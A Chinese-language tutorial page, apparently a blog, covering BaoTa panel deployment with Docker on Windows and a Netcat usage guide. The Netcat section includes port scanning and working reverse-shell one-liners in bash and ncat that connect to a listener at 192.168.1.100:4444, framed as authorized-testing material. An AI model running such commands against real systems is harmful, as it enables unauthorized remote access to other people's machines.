Docker 环境 + 宝塔面板


以下是 Windows 系统安装 Docker 环境 + 宝塔面板的详细指南,包含容器化部署的注意事项和常见问题解决方案:


一、在 Windows 上安装 Docker 和 Docker Compose

1. 安装 Docker Desktop

  • 步骤

    1. 下载 **Docker Desktop for Windows**。
    2. 双击安装包,勾选以下选项:
      • Use WSL 2 instead of Hyper-V(推荐,性能更好)
      • 添加 Docker Compose 到系统环境变量。
    3. 安装完成后重启电脑。
  • 验证安装

    1
    2
    docker --version          # 输出 Docker 版本
    docker-compose --version # 输出 Docker Compose 版本

2. 配置 WSL 2 后端(必须)

  1. 启用 WSL:
    1
    2
    dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
    dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
  2. 下载并安装 **WSL 2 内核更新包**。
  3. 设置默认 WSL 版本为 2:
    1
    wsl --set-default-version 2

二、通过 Docker 部署宝塔面板

1. 创建专用目录和配置文件

  • 在 Windows 中新建文件夹(如 C:\bt-panel)。
  • 创建 docker-compose.yml 文件,内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    version: '3'

    services:
    bt-panel:
    image: baotaoserver/bt-panel:latest # 官方社区镜像
    container_name: bt-panel
    restart: unless-stopped
    ports:
    - "8888:8888" # 面板端口
    - "80:80" # HTTP
    - "443:443" # HTTPS
    - "20:20" # FTP
    - "21:21"
    - "3306:3306" # MySQL
    - "6379:6379" # Redis
    volumes:
    - ./wwwroot:/www/wwwroot # 网站数据
    - ./mysql_data:/www/server/data # MySQL数据库
    - ./vhost:/www/server/panel/vhost # Nginx配置
    environment:
    - BT_PANEL_PORT=8888 # 设置面板端口
    privileged: true # 容器需特权模式运行(部分功能依赖)

2. 启动宝塔容器

  • 打开 PowerShell,进入项目目录:
    1
    2
    cd C:\bt-panel
    docker-compose up -d

3. 获取宝塔面板登录信息

1
docker logs bt-panel | Select-String "username|password"
  • 输出示例如下:
    1
    2
    username: admin
    password: ********

4. 访问宝塔面板

  • 浏览器访问:http://localhost:8888http://你的Windows主机IP:8888

三、Windows 专属注意事项

1. 文件路径问题

  • 路径映射冲突:Windows 的 C:\ 路径需转义为 /c/ 格式。
    1
    2
    volumes:
    - /c/bt-panel/wwwroot:/www/wwwroot

2. 权限问题

  • 共享驱动器设置(Docker Desktop):
    1. 右键 Docker 托盘图标 → Settings → Resources → File Sharing
    2. 添加 C:\bt-panel 到允许列表。

3. 防火墙放行端口

  • Windows Defender 防火墙
    1
    New-NetFirewallRule -DisplayName "BT-Panel Ports" -Direction Inbound -LocalPort 8888,80,443 -Protocol TCP -Action Allow

四、宝塔面板兼容性问题

已知限制

  • 功能异常:宝塔依赖 Linux 内核的模块(如 iptables),Windows 容器化部署可能导致:
    • 网站防火墙失效
    • 计划任务(Cron)不工作
    • 部分插件兼容性差

替代方案

  • 虚拟机运行:在 Windows 上通过 VMwareHyper-V 安装 Linux 虚拟机,再部署宝塔面板。

五、常用命令汇总

操作 命令
启动容器 docker-compose up -d
停止容器 docker-compose down
查看容器日志 docker logs -f bt-panel
进入容器Shell docker exec -it bt-panel bash
重置宝塔密码 docker exec bt-panel bt 5

六、卸载与清理

  1. 删除容器和数据
    1
    docker-compose down -v  # 删除容器和挂载卷
  2. 手动删除目录 C:\bt-panel

如果需要长期稳定使用,建议切换到 Linux 系统! 🐧

Netcat使用


Netcat(NC) 是一个功能强大的网络工具,被称为“网络瑞士军刀”,支持 TCP/UDP 协议,可用于端口扫描、文件传输、远程连接甚至渗透测试。以下是具体用法和常见场景:


一、安装Netcat

1. 不同系统的安装方法:

  • Linux
    1
    2
    sudo apt install netcat-openbsd   # Debian/Ubuntu
    sudo yum install nc # CentOS/RHEL
  • Windows
    • 下载 **nmap**,内置 ncat(增强版Netcat)。
    • 或单独下载 **Netcat for Windows**,解压后添加环境变量。

2. 版本区别

  • nc:传统版本,功能基础。
  • ncat(来自nmap):支持 SSL、代理链、多线程,建议优先使用。

二、基础用法与场景

1. 端口扫描(替代Telnet)

1
2
nc -zv 192.168.1.100 1-1000       # 扫描1-1000端口是否开放(-z: 零数据传输)
nc -zv example.com 80 # 检查目标80端口能否连通

2. 简单聊天室(TCP)

  • 服务端(监听端口)
    1
    nc -lvnp 1234                   # -l: 监听模式 -v: 详细信息 -n: 禁用DNS -p: 端口
  • 客户端(连接服务端)
    1
    nc 192.168.1.100 1234

3. 文件传输

  • 发送文件(服务端→客户端)
    1
    2
    3
    4
    5
    # 接收方(服务端)
    nc -lvnp 1234 > received_file.zip

    # 发送方(客户端)
    nc 192.168.1.100 1234 < send_file.zip

4. 反向Shell(高危操作,仅用于授权测试)

  • 攻击机监听
    1
    nc -lvnp 4444                   # 监听4444端口
  • 目标机连接(Linux)
    1
    bash -c 'exec bash -i &>/dev/tcp/192.168.1.100/4444 <&1'
  • 目标机连接(Windows)
    1
    ncat.exe 192.168.1.100 4444 -e cmd.exe

三、进阶技巧(Ncat)

1. 加密通信(SSL)

  • 生成证书
    1
    openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
  • 服务端
    1
    ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvnp 1234
  • 客户端
    1
    ncat --ssl 192.168.1.100 1234

2. 代理穿透

通过SSH或HTTP代理连接目标:

1
ncat --proxy 127.0.0.1:1080 --proxy-type socks5 192.168.1.100 80

3. 持久监听(保持端口开放)

1
ncat -lkvp 1234                  # -k: 接受多连接(适合长期服务)

四、安全注意事项

  • 合法授权:禁止未经授权扫描或入侵他人网络。
  • 防火墙控制:测试时在内网进行,避免开放公网端口暴露风险。
  • 替换默认NC:使用 ncat 替代旧版,支持更安全的协议(如SSL)。

五、典型工作流程图

1
2
3
4
5
6
7
8
9
10
11
+-------------------+
| Netcat 服务端 |
| (监听端口, 等待连接) |
+-------------------+
|
| 建立连接

+-------------------+
| Netcat 客户端 |
| (发起连接, 发送数据) |
+-------------------+

六、命令速查表

参数 说明
-l 监听模式(服务端)
-v 显示详细信息(Verbose)
-n 禁用DNS解析,加速操作
-p 端口 指定本地或远程端口
-u 使用UDP协议(默认TCP)
-w 秒 连接超时时间
-e 程序 连接后执行指定程序(如反向Shell)

通过灵活组合上述功能,Netcat 可满足大多数网络调试和应急维护需求。建议在虚拟机或内网环境练习操作! 👨💻